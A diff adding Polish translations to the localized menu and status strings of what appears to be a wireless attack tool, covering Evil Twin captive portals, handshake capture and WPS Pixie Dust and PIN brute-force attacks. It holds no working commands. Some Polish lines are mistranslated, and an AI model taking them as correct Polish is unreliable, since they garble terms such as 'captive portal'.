language has been established" arr["SPANISH",319]="Se ha establecido el idioma del portal cautivo" @@ -3668,7 +3668,7 @@ function language_strings() { arr["RUSSIAN",319]="Язык перехватывающего портала установлен" arr["GREEK",319]="Εγκαταστάθηκε η γλώσσα στο captive portal" arr["ITALIAN",319]="La lingua del captive portal è stata stabilita" - arr["POLISH",319]="${pending_of_translation} " + arr["POLISH",319]="${pending_of_translation} Został utworzony język portalu dla niewoli" arr["ENGLISH",320]="7. Greek" arr["SPANISH",320]="7. Griego" @@ -3678,7 +3678,7 @@ function language_strings() { arr["RUSSIAN",320]="7. Греческий" arr["GREEK",320]="7. Ελληνικά" arr["ITALIAN",320]="7. Greco" - arr["POLISH",320]="${pending_of_translation} " + arr["POLISH",320]="${pending_of_translation} 7. Grecki" arr["ENGLISH",321]="Do you already have a captured Handshake file? ${blue_color}Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now ${normal_color}${visual_choice}" arr["SPANISH",321]="¿Tienes ya un fichero de Handshake capturado? ${blue_color}Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora ${normal_color}${visual_choice}" @@ -3688,7 +3688,7 @@ function language_strings() { arr["RUSSIAN",321]="У вас уже есть захваченный файл рукопожатия? ${blue_color}Ответьте Да (\"y\"), для ввода пути или ответьте Нет (\"n\"), для захвата нового рукопожатия ${normal_color}${visual_choice}" arr["GREEK",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; ${blue_color}Απαντήστε ναι (\"y\") για να εισαγάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα ${normal_color}${visual_choice}" arr["ITALIAN",321]="Hai già catturato un file di Handshake? ${blue_color}Rispondi sì (\"y\") per introdurre il percorso o rispondi no (\"n\") per catturarne uno ora ${normal_color}${visual_choice}" - arr["POLISH",321]="${pending_of_translation} " + arr["POLISH",321]="${pending_of_translation} Czy masz już zarejestrowany plik Handshake? ${blue_color}Odpowiedz tak (\"y\") aby wejść na trasę Podaj ścieżkę lub odpowiedź nie (\"n\"), aby zdobyć jeden teraz ${normal_color}${visual_choice}" arr["ENGLISH",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["SPANISH",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." @@ -3698,7 +3698,7 @@ function language_strings() { arr["RUSSIAN",322]="Проверка подтвердила, что рукопожатие относится к выбранной целевой сети. Скрипт может продолжать..." arr["GREEK",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",322]="É stato riscontrato che c'è un Handshake della rete scelta como obiettivo durante la esplorazione del file di cattura selezionato. Lo script può continuare..." - arr["POLISH",322]="${pending_of_translation} " + arr["POLISH",322]="${pending_of_translation} Sprawdzono, czy podczas skanowania w wybranym pliku przechwytywania istnieje uzgadnianie z siecią docelową. Skrypt może kontynuować..." arr["ENGLISH",323]="There is no Handshake of the selected network on the capture file" arr["SPANISH",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" @@ -3708,7 +3708,7 @@ function language_strings() { arr["RUSSIAN",323]="В файле захвата отсутствует рукопожатие выбранной сети" arr["GREEK",323]="Δεν υπάρχει Χειραψία του επιλεγμένου δικτύου στο αρχείο καταγραφής" arr["ITALIAN",323]="Non è stato trovato una Handshake della rete selezionata nel file di acquisizione" - arr["POLISH",323]="${pending_of_translation} " + arr["POLISH",323]="${pending_of_translation} Nie znaleziono połączenia Handshake w wybranej sieci w pliku przechwytywania" arr["ENGLISH",324]="Handshake file generated successfully at [${normal_color}${et_handshake}${blue_color}]" arr["SPANISH",324]="Fichero de Handshake generado con éxito en [${normal_color}${et_handshake}${blue_color}]" @@ -3718,7 +3718,7 @@ function language_strings() { arr["RUSSIAN",324]="Файл рукопожатия успешно создан в [${normal_color}${et_handshake}${blue_color}]" arr["GREEK",324]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο [${normal_color}${et_handshake}${blue_color}]" arr["ITALIAN",324]="File di Handhake generato con successo in [${normal_color}${et_handshake}${blue_color}]" - arr["POLISH",324]="${pending_of_translation} " + arr["POLISH",324]="${pending_of_translation} Plik uzgadniania został pomyślnie wygenerowany w [${normal_color}${et_handshake}${blue_color}]" arr["ENGLISH",325]="Wait. Be patient..." arr["SPANISH",325]="Espera. Ten un poco de paciencia..." @@ -3728,7 +3728,7 @@ function language_strings() { arr["RUSSIAN",325]="Пожалуйста, подождите..." arr["GREEK",325]="Περιμένετε. Έχετε λίγη υπομονή..." arr["ITALIAN",325]="Aspetta. Devi avere un pò di pazienza..." - arr["POLISH",325]="${pending_of_translation} " + arr["POLISH",325]="${pending_of_translation} Trzymaj się. Miej trochę cierpliwości..." arr["ENGLISH",326]="Are you going to use the interface with internet access method? ${pink_color}If the answer is no (\"n\"), you'll need ${optional_tools_names[12]} installed to continue. Both will be checked ${normal_color}${visual_choice}" arr["SPANISH",326]="¿Vas a utilizar el método de la interfaz con acceso a internet? ${pink_color}Si la respuesta es no (\"n\"), necesitarás tener instalado ${optional_tools_names[12]} para continuar. Ambas cosas se comprobarán ${normal_color}${visual_choice}" @@ -3738,7 +3738,7 @@ function language_strings() { arr["RUSSIAN",326]="Собираетесь ли вы использовать этот метод с Интернет-доступом? ${pink_color}Если ответ нет (\"п\"), то для продолжения вам нужно установить ${optional_tools_names[12]}. Будут выполнены проверки обоих условий ${normal_color}${visual_choice}" arr["GREEK",326]="Σκοπεύετε να χρησιμοποιήσετε την διεπαφή με την μέθοδο πρόσβασης στο διαδίκτυο; ${pink_color}Αν απαντήσετε όχι (\"n\"), θα πρέπει να έχετε το ${optional_tools_names[12]} εγκατεστημένο για να συνεχίσετε. Και τα δύο ελέγχονται ${normal_color}${visual_choice}" arr["ITALIAN",326]="Hai intenzione di utilizzare il metodo dell'interfaccia con accesso ad internet? ${pink_color}Se la risposta è no (\"n\") hai bisogno di tenere installato ${optional_tools_names[12]} per continuare. Entrambi saranno controllati ${normal_color}${visual_choice}" - arr["POLISH",326]="${pending_of_translation} " + arr["POLISH",326]="${pending_of_translation} Czy zamierzasz używać metody interfejsu z dostępem do internet? ${pink_color}Jeśli odpowiedź brzmi nie (\"n\"), musisz kontynuować kontynuację ${optional_tools_names[12]}. Oba rzeczy zostaną sprawdzone ${normal_color}${visual_choice}" arr["ENGLISH",327]="You don't have ${optional_tools_names[12]} installed. The script can't continue. Redirecting to main screen..." arr["SPANISH",327]="No tienes instalado ${optional_tools_names[12]}. El script no puede continuar. Redirigiendo a la pantalla principal..." @@ -3748,7 +3748,7 @@ function language_strings() { arr["RUSSIAN",327]="У вас не установлена программа ${optional_tools_names[12]}. Скрипт не может продолжить. Переход на главный экран…" arr["GREEK",327]="Το ${optional_tools_names[12]} δεν είναι εγκατεστημένο. Το script δεν μπορεί να συνεχίσει. Θα καθοδηγηθείτε στην κύρια οθόνη..." arr["ITALIAN",327]="Non hai installato ${optional_tools_names[12]}. Lo script non può continuare. Reindirizzando alla schermata principale..." - arr["POLISH",327]="${pending_of_translation} " + arr["POLISH",327]="${pending_of_translation} Nie masz zainstalowanych ${optional_tools_names[12]}. Skrypt nie może kontynuować. Przekierowywanie do głównego ekranu..." arr["ENGLISH",328]="The unique Evil Twin attack in which it's not necessary to have an additional interface with internet access is the captive portal attack. As an alternative, you'll need another additional requirement: ${optional_tools_names[12]}" arr["SPANISH",328]="El único ataque de Evil Twin en el que no es necesario tener una interfaz adicional con acceso a internet es el del portal cautivo. Como alternativa necesitarás otro requerimiento adicional: ${optional_tools_names[12]}" @@ -3758,7 +3758,7 @@ function language_strings() { arr["RUSSIAN",328]="Уникальная атака Злой Двойник, при которой необязательно иметь дополнительный интерфейс с доступом в Интернет для атаки Перехватывающим Порталом. Но для нее вам нужно дополнительно ПО: ${optional_tools_names[12]}" arr["GREEK",328]="Η μόνη επίθεση Evil Twin στην οποία δεν είναι απαραίτητο να έχετε επιπλέον διεπαφή με πρόσβαση στο διαδίκτυο είναι η επίθεση με captive portal. Εναλλακτικά, θα χρειαστείτε το: ${optional_tools_names[12]}" arr["ITALIAN",328]="L'unico attacco di tipo Evil Twin in cui non è necessario avere un'interfaccia supplementare con accesso a internet è quello con captive portal. In cambo avrai bisogno di un ulteriore requisito: ${optional_tools_names[12]}" - arr["POLISH",328]="${pending_of_translation} " + arr["POLISH",328]="${pending_of_translation} Jedynym atakiem Evil Twin, w którym nie ma konieczności dodatkowego interfejsu z dostępem do internetu, jest jeden z więziennych serwisów. Alternatywnie potrzebujesz kolejnego dodatkowego wymagania: ${optional_tools_names[12]}" arr["ENGLISH",329]="It seems you have ${optional_tools_names[12]} installed. Script can continue..." arr["SPANISH",329]="Se ha comprobado que tienes instalado ${optional_tools_names[12]}. El script puede continuar..." @@ -3768,7 +3768,7 @@ function language_strings() { arr["RUSSIAN",329]="Судя по всему, ${optional_tools_names[12]} у вас установлена. Скрипт может продолжить..." arr["GREEK",329]="Φαίνεται πως το ${optional_tools_names[12]} είναι εγκατεστημένο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",329]="Sembra che hai installato ${optional_tools_names[12]}. Lo script può continuare..." - arr["POLISH",329]="${pending_of_translation} " + arr["POLISH",329]="${pending_of_translation} Sprawdzono, czy zainstalowano zainstalowane ${optional_tools_names[12]}. Skrypt może kontynuować..." arr["ENGLISH",330]="At this point there are two options to prepare the captive portal. Either having an interface with internet access, or making a fake DNS using ${optional_tools_names[12]}" arr["SPANISH",330]="Llegados a este punto hay dos opciones para preparar el portal cautivo. O bien tenemos una interfaz con acceso a internet, o preparamos un falso DNS usando ${optional_tools_names[12]}" @@ -3778,7 +3778,7 @@ function language_strings() { arr["RUSSIAN",330]="На данном этапе у вас две опции для подготовки Перехватывающего Портала. Нужно или иметь сетевой интерфейс с Интернет-доступом, или создать фальшивый DNS используя ${optional_tools_names[12]}" arr["GREEK",330]="Σε αυτό το σημείο υπάρχουν δύο επιλογές για την προετοιμασία του captive portal. Να έχετε μία διεπαφή με πρόσβαση στο διαδίκτυο, ή να φιάξετε ψευδές DNS χρησιμοποιώντας το ${optional_tools_names[12]}" arr["ITALIAN",330]="A questo punto ci sono due opzioni per la preparazione del captive portal. O avere un'interfaccia con accesso a internet, o preparare un DNS falso utilizzando ${optional_tools_names[12]}" - arr["POLISH",330]="${pending_of_translation} " + arr["POLISH",330]="${pending_of_translation} W tym momencie istnieją dwie możliwości przygotowania portalu dla niewoli. Albo mamy interfejs z dostępem do internet lub przygotowujemy fałszywy DNS przy użyciu ${optional_tools_names[12]}" arr["ENGLISH",331]="${option_counter_back}.${spaceiface}Return to Evil Twin attacks menu" arr["SPANISH",331]="${option_counter_back}.${spaceiface}Volver al menú de ataques Evil Twin" @@ -3788,7 +3788,7 @@ function language_strings() { arr["RUSSIAN",331]="${option_counter_back}.${spaceiface}Вернуться в меню атак Злой Двойник" arr["GREEK",331]="${option_counter_back}.${spaceiface}Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",331]="${option_counter_back}.${spaceiface}Tornare al menu degli attacchi Evil Twin" - arr["POLISH",331]="${pending_of_translation} " + arr["POLISH",331]="${pending_of_translation} ${option_counter_back}.${spaceiface}Wróć do menu Evil Twin Atak" arr["ENGLISH",332]="Language changed to Greek" arr["SPANISH",332]="Idioma cambiado a Griego" @@ -3798,7 +3798,7 @@ function language_strings() { arr["RUSSIAN",332]="Язык изменён на Греческий" arr["GREEK",332]="Η γλώσσα άλλαξε στα Ελληνικά" arr["ITALIAN",332]="Lingua cambiata in Greco" - arr["POLISH",332]="${pending_of_translation} " + arr["POLISH",332]="${pending_of_translation} Język zmienił się na język Grecki" arr["ENGLISH",333]="8. WPS attacks menu" arr["SPANISH",333]="8. Menú de ataques WPS" @@ -3808,7 +3808,7 @@ function language_strings() { arr["RUSSIAN",333]="8. Меню атак на WPS" arr["GREEK",333]="8. Μενού επιθέσεων WPS" arr["ITALIAN",333]="8. Menú degli attacchi WPS" - arr["POLISH",333]="${pending_of_translation} " + arr["POLISH",333]="${pending_of_translation} 8. Menu ataku WPS" arr["ENGLISH",334]="WPS attacks menu" arr["SPANISH",334]="Menú de ataques WPS" @@ -3818,7 +3818,7 @@ function language_strings() { arr["RUSSIAN",334]="Меню атак на WPS" arr["GREEK",334]="Μενού επιθέσεων WPS" arr["ITALIAN",334]="Menú degli attacchi WPS" - arr["POLISH",334]="${pending_of_translation} " + arr["POLISH",334]="${pending_of_translation} Menu ataku WPS" arr["ENGLISH",335]="Selected WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["SPANISH",335]="BSSID WPS seleccionado: ${pink_color}${wps_bssid}${normal_color}" @@ -3828,7 +3828,7 @@ function language_strings() { arr["RUSSIAN",335]="Выбран WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["GREEK",335]="Επιλεγμένο WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["ITALIAN",335]="BSSID WPS selezionato: ${pink_color}${wps_bssid}${normal_color}" - arr["POLISH",335]="${pending_of_translation} " + arr["POLISH",335]="${pending_of_translation} Wybrano BSSID WPS: ${pink_color}${wps_bssid}${normal_color}" arr["ENGLISH",336]="Selected WPS channel: ${pink_color}${wps_channel}${normal_color}" arr["SPANISH",336]="Canal WPS seleccionado: ${pink_color}${wps_channel}${normal_color}" @@ -3838,7 +3838,7 @@ function language_strings() { arr["RUSSIAN",336]="Выбран WPS канал: ${pink_color}${wps_channel}${normal_color}" arr["GREEK",336]="Επιλεγμένο WPS κανάλι: ${pink_color}${wps_channel}${normal_color}" arr["ITALIAN",336]="Canale WPS selezionato: ${pink_color}${wps_channel}${normal_color}" - arr["POLISH",336]="${pending_of_translation} " + arr["POLISH",336]="${pending_of_translation} Wybrano kanał WPS: ${pink_color}${wps_channel}${normal_color}" arr["ENGLISH",337]="Selected WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- can't be used" arr["SPANISH",337]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${blue_color} <- no se puede usar" @@ -3848,7 +3848,7 @@ function language_strings() { arr["RUSSIAN",337]="Выбран WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- не может использоваться" arr["GREEK",337]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",337]="ESSID WPS selezionato: ${pink_color}${wps_essid}${blue_color} <- non può essere utilizzato" - arr["POLISH",337]="${pending_of_translation} " + arr["POLISH",337]="${pending_of_translation} Wybrano WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- nie można używać" arr["ENGLISH",338]="Selected WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["SPANISH",338]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${normal_color}" @@ -3858,7 +3858,7 @@ function language_strings() { arr["RUSSIAN",338]="Выбран WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["GREEK",338]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["ITALIAN",338]="ESSID WPS selezionato: ${pink_color}${wps_essid}${normal_color}" - arr["POLISH",338]="${pending_of_translation} " + arr["POLISH",338]="${pending_of_translation} Wybrano WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["ENGLISH",339]="Selected WPS BSSID: ${pink_color}None${normal_color}" arr["SPANISH",339]="BSSID WPS seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3868,7 +3868,7 @@ function language_strings() { arr["RUSSIAN",339]="Выбран WPS BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",339]="Επιλεγμένο WPS BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",339]="BSSID WPS selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",339]="${pending_of_translation} " + arr["POLISH",339]="${pending_of_translation} Wybrano WPS BSSID: ${pink_color}Brak${normal_color}" arr["ENGLISH",340]="Selected WPS channel: ${pink_color}None${normal_color}" arr["SPANISH",340]="Canal WPS seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3878,7 +3878,7 @@ function language_strings() { arr["RUSSIAN",340]="Выбран WPS канал: ${pink_color}Нет${normal_color}" arr["GREEK",340]="Επιλεγμένο WPS κανάλι: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",340]="Canale WPS selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",340]="${pending_of_translation} " + arr["POLISH",340]="${pending_of_translation} Wybrano kanał WPS: ${pink_color}Brak${normal_color}" arr["ENGLISH",341]="Selected WPS ESSID: ${pink_color}None${normal_color}" arr["SPANISH",341]="ESSID WPS seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3888,7 +3888,7 @@ function language_strings() { arr["RUSSIAN",341]="Выбран WPS ESSID: ${pink_color}Нет${normal_color}" arr["GREEK",341]="Επιλεγμένο WPS ESSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",341]="ESSID WPS selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",341]="${pending_of_translation} " + arr["POLISH",341]="${pending_of_translation} Wybrano WPS ESSID: ${pink_color}Brak${normal_color}" arr["ENGLISH",342]="Pixie Dust attack obtains PIN and password in seconds, but not all access points are affected" arr["SPANISH",342]="El ataque Pixie Dust obtiene el PIN y la clave en segundos, pero no todos los puntos de acceso son vulnerables a este ataque" @@ -3898,7 +3898,7 @@ function language_strings() { arr["RUSSIAN",342]="Pixie Dust получает PIN и пароль за секунды, но не все точки доступа подвержены этой атаке" arr["GREEK",342]="Η επίθεση Pixie Dust αποκτά το PIN και τον κωδικό πρόσβασης σε δευτερόλεπτα, αλλά μερικά σημεία πρόσβασης δεν επηρεάζονται" arr["ITALIAN",342]="L'attacco Pixie Dust ottiene il PIN e la password in pochi secondi, ma non tutti i punti di accesso sono vulnerabili a questo attacco" - arr["POLISH",342]="${pending_of_translation} " + arr["POLISH",342]="${pending_of_translation} Atak Pixie Dust pobiera PIN i klucz w kilka sekund, ale nie wszystkie punkty dostępu są podatne na ten atak" arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" @@ -3908,7 +3908,7 @@ function language_strings() { arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания" arr["GREEK",343]="Για να εκτελεστεί επιτυχώς οποιαδήποτε επίθεση WPS, θα πρέπει να υπάρχει ισχυρό σήμα του δικτύου στόχου. Αλλιώς μπορεί να υπάρξουν ψευδώς αρνητικά αποτελέσματα" arr["ITALIAN",343]="Per qualsiasi attacco WPS è necessario avere un buon segnale della rete obiettivo. Altrimenti potremmo ottenere falsi negativi" - arr["POLISH",343]="${pending_of_translation} " + arr["POLISH",343]="${pending_of_translation} Aby wykonać dowolny atak WPS, trzeba mieć dobry sygnał z sieci docelowej. Jeśli nie, możemy uzyskać fałszywe negatywy" arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point" arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso" @@ -3918,7 +3918,7 @@ function language_strings() { arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN. Это зависит от конкретной точки доступа." arr["GREEK",344]="Μερικά σημεία πρόσβασης μπορεί να μπλοκαριστούν μετά από μερικές αποτυχημένες προσπάθειες σύνδεσης PIN. Μπορεί να διαφέρει ανάλογα με το σημείο πρόσβασης" arr["ITALIAN",344]="Alcuni punti di accesso si bloccano dopo un certo numero di tentativi di connessione con PIN. Può variare a seconda del punto di accesso" - arr["POLISH",344]="${pending_of_translation} " + arr["POLISH",344]="${pending_of_translation} Niektóre punkty dostępu są blokowane po pewnej liczbie prób PIN. Może się różnić w zależności od punktu dostępu" arr["ENGLISH",345]="5. (bully) Custom PIN association" arr["SPANISH",345]="5. (bully) Asociación con PIN personalizado" @@ -3928,7 +3928,7 @@ function language_strings() { arr["RUSSIAN",345]="5. (bully) Ассоциация с персонализированным PIN" arr["GREEK",345]="5. (bully) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",345]="5. (bully) Associazione con PIN personalizzato" - arr["POLISH",345]="${pending_of_translation} " + arr["POLISH",345]="${pending_of_translation} 5. (bully) Stowarzyszenie z niestandardowym kodem PIN" arr["ENGLISH",346]="7. (bully) Pixie Dust attack" arr["SPANISH",346]="7. (bully) Ataque Pixie Dust" @@ -3938,7 +3938,7 @@ function language_strings() { arr["RUSSIAN",346]="7. (bully) Атака Pixie Dust" arr["GREEK",346]="7. (bully) Επίθεση Pixie Dust" arr["ITALIAN",346]="7. (bully) Attacco Pixie Dust" - arr["POLISH",346]="${pending_of_translation} " + arr["POLISH",346]="${pending_of_translation} 7. (bully) Ataku Pixie Dust" arr["ENGLISH",347]="9. (bully) Bruteforce PIN attack" arr["SPANISH",347]="9. (bully) Ataque de fuerza bruta por PIN" @@ -3948,7 +3948,7 @@ function language_strings() { arr["RUSSIAN",347]="9. (bully) Атака перебором PIN" arr["GREEK",347]="9. (bully) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",347]="9. (bully) Attacco forza bruta con PIN" - arr["POLISH",347]="${pending_of_translation} " + arr["POLISH",347]="${pending_of_translation} 9. (bully) Brute force atak za pomocą kodu PIN" arr["ENGLISH",348]="11. (bully) Known PINs database based attack" arr["SPANISH",348]="11. (bully) Ataque basado en base de datos de PINs conocidos" @@ -3958,7 +3958,7 @@ function language_strings() { arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных PIN" arr["GREEK",348]="11. (bully) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",348]="11. (bully) Attacco che utilizza una base dati di PIN" - arr["POLISH",348]="${pending_of_translation} " + arr["POLISH",348]="${pending_of_translation} 11. (bully) Atak oparty o bazę danych znanych PINów" arr["ENGLISH",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["SPANISH",349]=" N. BSSID CANAL PWR LOCKED ESSID" @@ -3968,7 +3968,7 @@ function language_strings() { arr["RUSSIAN",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["GREEK",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["ITALIAN",349]=" N. BSSID CANALE PWR LOCKED ESSID" - arr["POLISH",349]="${pending_of_translation} " + arr["POLISH",349]=" N. BSSID KANAŁ PWR LOCKED ESSID" arr["ENGLISH",350]="${blue_color}You have selected a locked WPS network ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",350]="${blue_color}Has seleccionado una red WPS bloqueada ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -3978,7 +3978,7 @@ function language_strings() { arr["RUSSIAN",350]="${blue_color}Вы выбрали заблокированную WPS сеть ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",350]="${blue_color}Έχετε επιλέξει ένα κλειδωμένο WPS δίκτυο ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",350]="${blue_color}È stata selezionata una rete WPS bloccata ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",350]="${pending_of_translation} " + arr["POLISH",350]="${pending_of_translation} ${blue_color}Wybrano zablokowaną sieć WPS ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",351]="WPS locked network: ${pink_color}${wps_locked}${normal_color}" arr["SPANISH",351]="Red WPS bloqueada: ${pink_color}${wps_locked}${normal_color}" @@ -3988,7 +3988,7 @@ function language_strings() { arr["RUSSIAN",351]="Сеть с заблокированным WPS: ${pink_color}${wps_locked}${normal_color}" arr["GREEK",351]="Κλειδωμένο WPS δίκτυο: ${pink_color}${wps_locked}${normal_color}" arr["ITALIAN",351]="Rete WPS bloccata: ${pink_color}${wps_locked}${normal_color}" - arr["POLISH",351]="${pending_of_translation} " + arr["POLISH",351]="${pending_of_translation} Zablokowana sieć WPS: ${pink_color}${wps_locked}${normal_color}" arr["ENGLISH",352]="WPS locked network: ${pink_color}None${normal_color}" arr["SPANISH",352]="Red WPS bloqueada: ${pink_color}Ninguno${normal_color}" @@ -3998,7 +3998,7 @@ function language_strings() { arr["RUSSIAN",352]="Сеть с заблокированным WPS: ${pink_color}Нет${normal_color}" arr["GREEK",352]="Κλειδωμένο WPS δίκτυο: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",352]="Rete WPS bloccata: ${pink_color}Nessuno${normal_color}" - arr["POLISH",352]="${pending_of_translation} " + arr["POLISH",352]="${pending_of_translation} Zablokowana sieć WPS: ${pink_color}Brak${normal_color}" arr["ENGLISH",353]="Checking to solve possible \"bad FCS\" problem if exists. Parameterizing..." arr["SPANISH",353]="Realizando una pequeña prueba para solventar el posible problema de \"bad FCS\" si existiese. Parametrizando..." @@ -4008,7 +4008,7 @@ function language_strings() { arr["RUSSIAN",353]="Проверка возможного решения проблемы \"bad FCS (контроля последовательности кадров)\" если она существует. Параметризация..." arr["GREEK",353]="Γίνεται έλεγχος επίλυσης πιθανού σφάλματος \"bad FCS\" αν υπάρχει. Γίνεται παραμετροποίηση..." arr["ITALIAN",353]="Effettuando un piccolo test per risolvere il possibile problema di \"bad FCS\" se presente. Parametrizzando..." - arr["POLISH",353]="${pending_of_translation} " + arr["POLISH",353]="${pending_of_translation} Przeprowadzenie małego testu, aby rozwiązać problem \"bad FCS\" jeśli istniał. Parametryzowanie..." arr["ENGLISH",354]="Done! parameter set" arr["SPANISH",354]="Hecho! parámetro fijado" @@ -4018,7 +4018,7 @@ function language_strings() { arr["RUSSIAN",354]="Сделано! параметры заданы" arr["GREEK",354]="Έγινε! η παράμετρος τέθηκε" arr["ITALIAN",354]="Fatto! parametro impostato" - arr["POLISH",354]="${pending_of_translation} " + arr["POLISH",354]="${pending_of_translation} Sporządzono! zestaw parametrów" arr["ENGLISH",355]="It seems this interface was parametrized before. It's not necessary to check again" arr["SPANISH",355]="Esta interfaz ya fue parametrizada anteriormente. No es necesario realizar de nuevo el chequeo" @@ -4028,7 +4028,7 @@ function language_strings() { arr["RUSSIAN",355]="Этот интерфейс был параметризован ранее. Нет необходимости проверять снова" arr["GREEK",355]="Φαίνεται πως αυτή η διεπαφή παραμετροποιήθηκε προηγουμένως. Δεν είναι απαραίτητο να γίνει έλεγχος ξανά" arr["ITALIAN",355]="Questa interfaccia è stata configurata anteriormente. Non c'è bisogno di controllare di nuovo" - arr["POLISH",355]="${pending_of_translation} " + arr["POLISH",355]="${pending_of_translation} Ten interfejs został wcześniej sparametryzowany. Nie jest konieczne przeprowadzanie kontroli" arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully" arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully" @@ -4038,7 +4038,7 @@ function language_strings() { arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully" arr["GREEK",356]="Μερικοί συνδυασμοί δεν λειτουργούν καλά. Όπως για παράδειγμα το reaver με κάρτες που έχουν Ralink chipset. Αν η κάρτα σας έχει αυτό το chipset είναι προτιμότερο να χρησιμοποιήσετε το bully" arr["ITALIAN",356]="Alcune combinazioni non funzionano bene. Come ad esempio reaver e le schede con chipset Ralink. Se la scheda ha questo chipset è meglio usare bully" - arr["POLISH",356]="${pending_of_translation} " + arr["POLISH",356]="${pending_of_translation} Niektóre kombinacje nie działają dobrze. Jak na przykład rewer i karty z chipsetem Ralink. Jeśli Twoja karta ma ten chipset lepiej jest użyć bully" arr["ENGLISH",357]="6. (reaver) Custom PIN association" arr["SPANISH",357]="6. (reaver) Asociación con PIN personalizado" @@ -4048,7 +4048,7 @@ function language_strings() { arr["RUSSIAN",357]="6. (reaver) Пользовательские PIN ассоциации" arr["GREEK",357]="6. (reaver) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",357]="6. (reaver) Associazione con PIN personalizzato" - arr["POLISH",357]="${pending_of_translation} " + arr["POLISH",357]="${pending_of_translation} 6. (reaver) Stowarzyszenie z niestandardowym kodem PIN" arr["ENGLISH",358]="8. (reaver) Pixie Dust attack" arr["SPANISH",358]="8. (reaver) Ataque Pixie Dust" @@ -4058,7 +4058,7 @@ function language_strings() { arr["RUSSIAN",358]="8. (reaver) Атака Pixie Dust" arr["GREEK",358]="8. (reaver) Επίθεση Pixie Dust" arr["ITALIAN",358]="8. (reaver) Attacco Pixie Dust" - arr["POLISH",358]="${pending_of_translation} " + arr["POLISH",358]="${pending_of_translation} 8. (reaver) Ataku Pixie Dust" arr["ENGLISH",359]="10. (reaver) Bruteforce PIN attack" arr["SPANISH",359]="10. (reaver) Ataque de fuerza bruta por PIN" @@ -4068,7 +4068,7 @@ function language_strings() { arr["RUSSIAN",359]="10. (reaver) Атака перебором PIN" arr["GREEK",359]="10. (reaver) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",359]="10. (reaver) Attacco forza bruta con PIN" - arr["POLISH",359]="${pending_of_translation} " + arr["POLISH",359]="${pending_of_translation} 10. (reaver) Brute force atak za pomocą kodu PIN" arr["ENGLISH",360]="12. (reaver) Known PINs database based attack" arr["SPANISH",360]="12. (reaver) Ataque basado en base de datos de PINs conocidos" @@ 